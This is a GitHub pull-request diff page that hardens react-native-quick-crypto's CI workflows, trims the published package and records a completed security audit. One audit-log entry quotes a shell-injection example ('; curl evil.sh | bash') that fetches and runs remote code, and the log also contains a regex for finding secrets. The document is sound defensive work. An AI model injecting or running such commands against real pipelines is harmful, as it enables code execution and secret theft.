Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .github/workflows/e2e-android-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,12 @@ env:
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'

# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with
# the upload-image artifact link.
permissions:
contents: read
pull-requests: write

jobs:
# ============================================================================
# Build Job - Gradle build + lint (runs in parallel with AVD setup)
Expand Down
6 changes: 6 additions & 0 deletions .github/workflows/e2e-ios-test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,12 @@ env:
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'

# Minimum scopes — post-maestro-screenshot composite action posts a PR comment with
# the upload-image artifact link.
permissions:
contents: read
pull-requests: write

jobs:
e2e-tests-ios:
runs-on: macOS-26
Expand Down
16 changes: 10 additions & 6 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -63,20 +63,24 @@ jobs:
- name: Release package to npm
working-directory: packages/react-native-quick-crypto
run: |
if [ "${{ inputs.dry-run }}" = "true" ]; then
bun release ${{ inputs.version }} --dry-run --ci
if [ "$DRY_RUN" = "true" ]; then
bun release "$VERSION" --dry-run --ci
else
bun release ${{ inputs.version }} --ci
bun release "$VERSION" --ci
fi
env:
NPM_CONFIG_PROVENANCE: true
VERSION: ${{ inputs.version }}
DRY_RUN: ${{ inputs.dry-run }}

- name: Create Git tag and GitHub release
run: |
if [ "${{ inputs.dry-run }}" = "true" ]; then
bun run release-it ${{ inputs.version }} --dry-run --ci
if [ "$DRY_RUN" = "true" ]; then
bun run release-it "$VERSION" --dry-run --ci
else
bun run release-it ${{ inputs.version }} --ci
bun run release-it "$VERSION" --ci
fi
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
VERSION: ${{ inputs.version }}
DRY_RUN: ${{ inputs.dry-run }}
8 changes: 7 additions & 1 deletion .github/workflows/validate-cpp.yml
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,12 @@ env:
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'

# Minimum scopes — reviewdog posts review comments on PRs.
permissions:
contents: read
checks: write
pull-requests: write

jobs:
validate_cpp:
name: C++ Lint
Expand All @@ -35,7 +41,7 @@ jobs:
find packages/react-native-quick-crypto/cpp packages/react-native-quick-crypto/android/src/main/cpp \
-regex '.*\.\(cpp\|hpp\|cc\|cxx\|h\)' \
-exec clang-format --style=file --dry-run --Werror {} +
- uses: reviewdog/action-cpplint@master
- uses: reviewdog/action-cpplint@9552c62f4bd516c1e3a6f84eae56bd864cc304c6 # v1.11.0
with:
github_token: ${{ secrets.github_token }}
reporter: github-pr-review
Expand Down
27 changes: 27 additions & 0 deletions .github/workflows/validate-js.yml
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,12 @@ env:
# https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true'

# Minimum scopes — reviewdog posts tsc errors as review comments on PRs.
permissions:
contents: read
checks: write
pull-requests: write

jobs:
compile_js:
name: Compile JS (tsc)
Expand Down Expand Up @@ -64,6 +70,27 @@ jobs:
cd packages/react-native-quick-crypto
bun circular

audit_runtime_deps:
name: Audit runtime deps (bun audit)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5

- uses: ./.github/actions/setup-bun

# Audits only the 6 runtime `dependencies:` of the published package, not the
# workspace's dev/peer tooling. Workspace-level `bun audit` walks through optional
# peers (expo, react-native, etc.) which surface ~70 advisories that never reach a
# consumer's runtime bundle. Phase 5.1 baseline: zero advisories in the runtime tree.
- name: Audit runtime dependencies
run: |
mkdir -p /tmp/rnqc-runtime-audit
cd /tmp/rnqc-runtime-audit
bun -e "const pkg=require('$GITHUB_WORKSPACE/packages/react-native-quick-crypto/package.json'); require('fs').writeFileSync('package.json', JSON.stringify({name:'rnqc-runtime-audit',version:'0.0.0',dependencies:pkg.dependencies},null,2));"
cat package.json
bun install --no-summary
bun audit --audit-level=high

lint_js:
name: JS Lint (eslint, prettier)
runs-on: ubuntu-latest
Expand Down
40 changes: 36 additions & 4 deletions packages/react-native-quick-crypto/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -31,16 +31,48 @@
"android/src",
"ios",
"cpp",
"deps",
"deps/blake3/c",
"deps/blake3/LICENSE_A2",
"deps/blake3/LICENSE_A2LLVM",
"deps/blake3/LICENSE_CC0",
"deps/fastpbkdf2",
"deps/ncrypto/include",
"deps/ncrypto/src/aead.cpp",
"deps/ncrypto/src/engine.cpp",
"deps/ncrypto/src/ncrypto.cpp",
"deps/ncrypto/LICENSE",
"deps/simdutf/include",
"deps/simdutf/src",
"deps/simdutf/LICENSE-MIT",
"deps/simdutf/LICENSE-APACHE",
"nitrogen",
"react-native.config.js",
"*.podspec",
"README.md",
"app.plugin.js",
"scripts",
"!**/__tests__",
"!**/__fixtures__",
"!**/__mocks__"
"!**/__mocks__",
"!**/*.tsbuildinfo",
"!ios/libsodium-stable",
"!deps/simdutf/src/CMakeLists.txt",
"!deps/blake3/c/blake3_c_rust_bindings",
"!deps/blake3/c/dependencies",
"!deps/blake3/c/*_x86-64_*.S",
"!deps/blake3/c/*_x86-64_*.asm",
"!deps/blake3/c/blake3_avx2.c",
"!deps/blake3/c/blake3_avx512.c",
"!deps/blake3/c/blake3_sse2.c",
"!deps/blake3/c/blake3_sse41.c",
"!deps/blake3/c/blake3_tbb.cpp",
"!deps/blake3/c/main.c",
"!deps/blake3/c/example.c",
"!deps/blake3/c/example_tbb.c",
"!deps/blake3/c/test.py",
"!deps/blake3/c/Makefile.testing",
"!deps/blake3/c/CMakeLists.txt",
"!deps/blake3/c/CMakePresets.json",
"!deps/blake3/c/blake3-config.cmake.in",
"!deps/blake3/c/libblake3.pc.in"
],
"keywords": [
"react-native",
Expand Down
17 changes: 11 additions & 6 deletions plans/todo/security-audit.md → plans/done/security-audit.md
Original file line number Diff line number Diff line change
Expand Up @@ -1244,13 +1244,13 @@ Depends on Phase 1.
- [x] Fix fire-and-forget async assertions (PBKDF2, Random)
- [x] Cross-implementation verification (Node.js ↔ RNQC for sigs/KDFs)

### Phase 5 — Cross-Cutting Audit Items (still unstarted)
### Phase 5 — Cross-Cutting Audit Items

- [ ] `bun audit` on all workspace packages
- [ ] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium)
- [ ] GitHub Actions review (injection, secrets exposure)
- [ ] `.npmignore` / published-artifact review (no test fixtures, keys, configs)
- [ ] Expo plugin (`withRNQC`) code-injection review
- [x] `bun audit` on all workspace packages
- [x] Native dep CVE check (blake3, ncrypto, fastpbkdf2, OpenSSL-Universal, libsodium)
- [x] GitHub Actions review (injection, secrets exposure)
- [x] `.npmignore` / published-artifact review (no test fixtures, keys, configs)
- [x] Expo plugin (`withRNQC`) code-injection review

---

Expand Down Expand Up @@ -1279,3 +1279,8 @@ _Append entries as PRs land. Format: `YYYY-MM-DD — [phase.task] description (P
- 2026-04-27 — [4.3] AEAD misuse-resistance tests. Each AEAD spec mandates a strict ordering of API calls; implementations that silently accept misordered calls open up real attacks (e.g. `setAAD` after `update` lets an attacker truncate AAD bytes the application thought were authenticated). Adds 4 tests per cipher across `aes-128-gcm`, `aes-256-gcm`, `aes-128-ccm`, `aes-128-ocb`, `chacha20-poly1305` (20 tests total): (1) `setAAD` after `update` must throw, (2) `setAuthTag` on a `Cipher` instance must throw — only Decipher consumes tags, (3) `getAuthTag` on a `Decipher` instance must throw — only Cipher produces tags, (4) `decipher.final()` without first calling `setAuthTag` must throw — otherwise the call accepts unauthenticated ciphertext, defeating the AEAD guarantee. Pinning these matches Node's crypto-module behavior. (branch: `feat/security-audit-phase-4`, PR: TBD)
- 2026-04-27 — [4.4] Wrong-key/IV size rejection sweep across the cipher modes Phase 3.1 didn't cover. Phase 3.1 already pinned AES-CBC, AES-CCM, AES-GCM, and xsalsa20; this sweep extends to `aes-128-ocb`, `aes-256-ocb`, `chacha20-poly1305`, `aes-192-cbc`, `aes-256-ctr`, `des-ede3-cbc`, plus the libsodium-only `xchacha20-poly1305` and `xsalsa20-poly1305`. Per cipher, 4 tests pin the boundary: (a) correct (key, iv) lengths do NOT throw, (b) too-short key throws RangeError matching `/key length/`, (c) too-long key likewise, (d) wrong iv length throws RangeError matching `/(iv|nonce) length/` — libsodium ciphers say "nonce", OpenSSL says "iv". 32 generated tests total across 8 ciphers. The point of the sweep isn't exhaustive cipher coverage (the existing big roundtrip loop over `getCiphers()` already exercises every cipher) but to confirm boundary rejection fires uniformly across the validator's three code paths: the libsodium fast-path (strict equality), the OpenSSL default-match fast-path, and the OpenSSL per-parameter fallback that calls `getCipherInfo(name, undefined, ivLen)` to ask whether the ivLen is acceptable. (branch: `feat/security-audit-phase-4`, PR: TBD)
- 2026-04-27 — [4.6] Cross-implementation verification (Node.js ↔ RNQC) for signatures and KDFs. New `example/src/tests/keys/cross_impl_verify.ts` registered in `useTestsList`. The fixtures are all generated by `node -e` on the host (script kept in the commit message for reproducibility) and pinned hex/b64 in the test file so RNQC is exercised against bytes it didn't produce. Catches the bug class where RNQC and Node both round-trip with themselves but disagree on the wire format — e.g. an ECDSA signature DER-encoded with a leading-zero bug or a PBKDF2 output that uses the wrong endianness for the iteration counter on one side. Six pinned interop checks: (1) ECDSA P-256/SHA-256 SPKI+sig — RNQC verifies, with a Node-API fallback if `dsaEncoding: 'der'` isn't honored at the WebCrypto layer. (2) Ed25519 SPKI+sig — RNQC verifies; Ed25519 is fully deterministic per RFC 8032, so a passing verify is itself proof RNQC's verifier reproduces the exact bit-string Node's signer emits. (3) RSASSA-PKCS1-v1_5/SHA-256/2048 — RNQC verifies. (4) RSA-PSS/SHA-256/2048 (saltLength=32) — RNQC verifies. (5) PBKDF2-HMAC-SHA-256 100k iters / 32 B — sync + async output bytes match Node. (6) HKDF-SHA-256 / 32 B — sync + async output bytes match Node. Generation script (also embedded in the commit message): `node -e "const c=require('crypto'); const ec=c.generateKeyPairSync('ec',{namedCurve:'P-256'}); const sig=c.createSign('SHA256').update('cross-impl test message').sign(ec.privateKey); console.log(ec.publicKey.export({type:'spki',format:'der'}).toString('base64')); console.log(sig.toString('hex'));"` — and equivalent calls for Ed25519, RSA-PKCS1-v1_5, RSA-PSS, PBKDF2, HKDF. (branch: `feat/security-audit-phase-4`, PR: TBD)
- 2026-04-27 — [5.1] `bun audit` triage across the workspace surfaced 83 advisories across 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low). **Zero of these affect the published runtime tree of `react-native-quick-crypto`.** The 6 runtime `dependencies` (`@craftzdog/react-native-buffer 6.1.0`, `events 3.3.0`, `readable-stream 4.5.2`, `safe-buffer ^5.2.1`, `string_decoder ^1.3.0`, `util 0.12.5`) are all clean; the audit JSON does not list any of them. Every reported advisory traces to one of: (a) the `expo` / `expo-build-properties` peer-dep tooling (which only runs on the developer's machine during `npx expo prebuild`, never inside the consumer app at runtime — `@xmldom/xmldom`, `tar`, `node-forge`, `postcss`, `uuid`, `yaml`, `undici`, `ajv`, `brace-expansion`, `minimatch`, `picomatch`); (b) the example app's dev tree only (`@react-native-community/cli` → `qs`, `fast-xml-parser`; `crypto-browserify` → `elliptic` `bn.js`); (c) root-level dev tooling (`release-it` → `defu` `lodash` `lodash-es` `basic-ftp` `handlebars` `undici`; `eslint` → `flatted` `@eslint/plugin-kit`; `lint-staged` → `yaml`; `@release-it/conventional-changelog` → `@conventional-changelog/git-client`; `nitrogen` / `react-native-builder-bob` / `dpdm` / `del-cli` → glob libraries). No action required for the runtime; `bun audit --prod` would still surface ~70 of these because bun walks through optional peers, but those advisories are entirely in build-tooling code paths that never execute in a consumer's bundle. Documented as the audit baseline; revisit if `expo`'s next major refresh resolves its transitive cluster. (branch: `feat/security-audit-phase-5`, PR: TBD)
- 2026-04-27 — [5.2] Native dep CVE check. Per-dep verdicts: **BLAKE3 1.8.2** (submodule SHA `df610dd`) — SAFE, latest 1.8.5 is build/CMake-only; opportunistic bump. **ncrypto v1.1.3** — SAFE, on tip, no GitHub Security Advisories. **fastpbkdf2** (vendored, matches upstream `3c568957` from 2018-07-18, repo dormant) — SAFE, no advisories; the local TARGET_OS_MACCATALYST patch is benign. **OpenSSL-Universal pod (iOS)** pinned `~> 3.6` resolves to pod 3.6.0001 = **OpenSSL 3.6.1**; exposed to CVE-2026-2673 (Low TLS1.3 group selection), CVE-2025-11187 (Mod PBMAC1/PKCS#12), CVE-2025-15467 (**High CMS EnvelopedData stack overflow** — not reachable from RNQC's API surface), CVE-2026-31790 (Mod RSA-KEM RSASVE), all fixed in 3.6.2 — UPGRADE-RECOMMENDED to `~> 3.6.0002` once the pod ships it. **OpenSSL prefab (Android)** `io.github.ronickg:openssl:3.6.0-1` is one minor behind iOS at OpenSSL 3.6.0 — UPGRADE-REQUIRED to 3.6.1+ when the maintainer publishes it. **libsodium 1.0.20** is exposed to CVE-2025-69277 / CVE-2025-15444 in `crypto_core_ed25519_is_valid_point()`, but RNQC does not call that function (Ed25519 work goes through OpenSSL EVP, not libsodium); libsodium is opt-in via `SODIUM_ENABLED=1` and only used for XSalsa20 / XSalsa20-Poly1305 / XChaCha20-Poly1305 ciphers. SAFE in practice; UPGRADE-RECOMMENDED to 1.0.22 to clear scanners. None of these need fixes inside the Phase 5 PR; tracked as follow-ups for separate dependency-bump PRs. (branch: `feat/security-audit-phase-5`, PR: TBD)
- 2026-04-27 — [5.3] GitHub Actions hardening. Three findings, all addressed in this commit. **(1)** `release.yml` interpolated `${{ inputs.version }}` and `${{ inputs.dry-run }}` directly into `run:` shell blocks (lines 67-69, 77-79). Even though `workflow_dispatch` requires a maintainer to trigger, a malicious or compromised maintainer account could inject `; curl evil.sh | bash` and exfiltrate via the workflow's `contents: write` + `id-token: write` (npm OIDC trust). Both `inputs.*` references rewritten to `env: VAR: ${{ inputs.* }}` indirection with `"$VAR"` in shell — the GitHub-recommended pattern. **(2)** `reviewdog/action-cpplint@master` was floating on the master branch in `validate-cpp.yml`; pinned to commit SHA `9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). Confirmed via GH API that the 12 master commits since v1.11.0 are renovate-bot dependency bumps with no functional regressions. **(3)** Four workflows lacked `permissions:` blocks and inherited the repo's default `GITHUB_TOKEN` scope: `validate-cpp.yml` and `validate-js.yml` now declare `contents: read, checks: write, pull-requests: write` (reviewdog needs to post review comments); `e2e-android-test.yml` and `e2e-ios-test.yml` declare `contents: read, pull-requests: write` (the `post-maestro-screenshot` composite posts a PR comment with the imgbb-uploaded screenshot URL). Other tag-pinned third-party actions (`AdityaGarg8/remove-unwanted-software@v5`, `android-actions/setup-android@v3`, `reactivecircus/android-emulator-runner@v2`, `hendrikmuhs/ccache-action@v1.2`, `peter-evans/find-comment@v3`, `peter-evans/create-or-update-comment@v4`, `McCzarny/upload-image@v2.0.0`, `ruby/setup-ruby@v1`) are noted as supply-chain follow-ups — none float on `@master` or `@main` and the impact of a tag-rewrite on each is bounded by the workflow's now-explicit `permissions:` minimums. (branch: `feat/security-audit-phase-5`, PR: TBD)
- 2026-04-27 — [5.4] Published-artifact trim and key/secret review. `npm pack --dry-run` against the previous `files:` produced 2133 entries / 18.66 MB unpacked / 4.55 MB packed. **No keys, certs, .env files, or credentials were ever in the tarball** — the strict regex match for `(\.env|secret|\.pem|\.key|\.p12|\.pfx|\.crt|\.cer|api[-_]?key|priv[-_]?key|credential|password|token)` returned only one extension hit: `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM Debian *public* key used by simdutf's Docker scripts (benign, but irrelevant to a published RN library). Refined `files:` to (a) replace the blanket `"deps"` entry with precise per-dep allowlists matching what `QuickCrypto.podspec` source_files / `android/CMakeLists.txt` actually consume — `deps/blake3/c` only (drops the Rust crate, b3sum, benches, reference_impl, tools, test_vectors, .cargo, .github, media, Cargo.toml), `deps/ncrypto/include` + the 3 `.cpp` files explicitly named in CMakeLists.txt + `LICENSE` (drops Bazel files, cmake/, tests/, CHANGELOG, release-please-config.json, pyproject.toml), `deps/simdutf/include` + `deps/simdutf/src` (drops benchmarks/, fuzz/, tests/, scripts/, tools/, doc/, singleheader/, AI_USAGE_POLICY.md, top-level CMakeLists.txt) plus both LICENSE files, `deps/fastpbkdf2` (already minimal); (b) add `!ios/libsodium-stable` — the podspec downloads libsodium fresh at consume-time when `SODIUM_ENABLED=1` (lines 27-43 of QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67), so the 6.16 MB / 599-file vendored copy was pure publish-time pollution including 2.7 MB of test vectors (`test/default/sign.c`) and Visual Studio project files for vs2010-vs2026; (c) add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache from `lib/`; (d) drop dangling `"scripts"` and `"react-native.config.js"` entries (neither file exists); (e) add `!deps/simdutf/src/CMakeLists.txt` (build script unused at consume-time). Result: 2133 → 1024 files (−52%), 18.66 → 6.38 MB unpacked (−66%), 4.55 → 0.90 MB packed (−80%). Verified post-trim that every build-required file is still present (BLAKE3 portable+NEON+headers, ncrypto includes and 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam plus all per-arch subdirs `arm64`/`fallback`/`generic`/`haswell`/`icelake`/`lasx`/`lsx`/`ppc64`/`rvv`/`westmere`, fastpbkdf2, every `cpp/`, `src/`, `lib/`, `nitrogen/`, `android/{build.gradle,gradle.properties,CMakeLists.txt,src/}`). (branch: `feat/security-audit-phase-5`, PR: TBD)
- 2026-04-27 — [5.5] Expo plugin (`withRNQC`) code-injection review — clean. The plugin entry `app.plugin.js` calls `createRNQCPlugin(pkg.name, pkg.version)`; both args are read from `package.json` (no user input). The four config-plugin modules (`withRNQC.ts`, `withSodiumIos.ts`, `withSodiumAndroid.ts`, `withXCode.ts`) compose deterministically: `withSodiumIos` prepends a literal `"ENV['SODIUM_ENABLED'] = '1'\n"` to the Podfile guarded by an idempotent `includes()` check; `withSodiumAndroid` pushes a static `{type:'property', key:'sodiumEnabled', value:'true'}` entry; `withXCode` prepends a literal Ruby snippet to the Podfile's `post_install` block. **No user-controlled value is interpolated into shell commands, file paths, or generated source.** The single `ConfigProps` shape (`{ sodiumEnabled?: boolean }`) is used only as a boolean gate on which plugin to compose, never as a string interpolation. File-system paths use `path.join(modConfig.modRequest.platformProjectRoot, 'Podfile')` — `platformProjectRoot` is set by Expo, not the consumer, and `path.join` would also collapse any `..` traversal. Read-write cycles on the Podfile are non-atomic but Expo's plugin pipeline is sequential per project, so no race. No code-injection vector found; no fix required. (branch: `feat/security-audit-phase-5`, PR: TBD)
Loading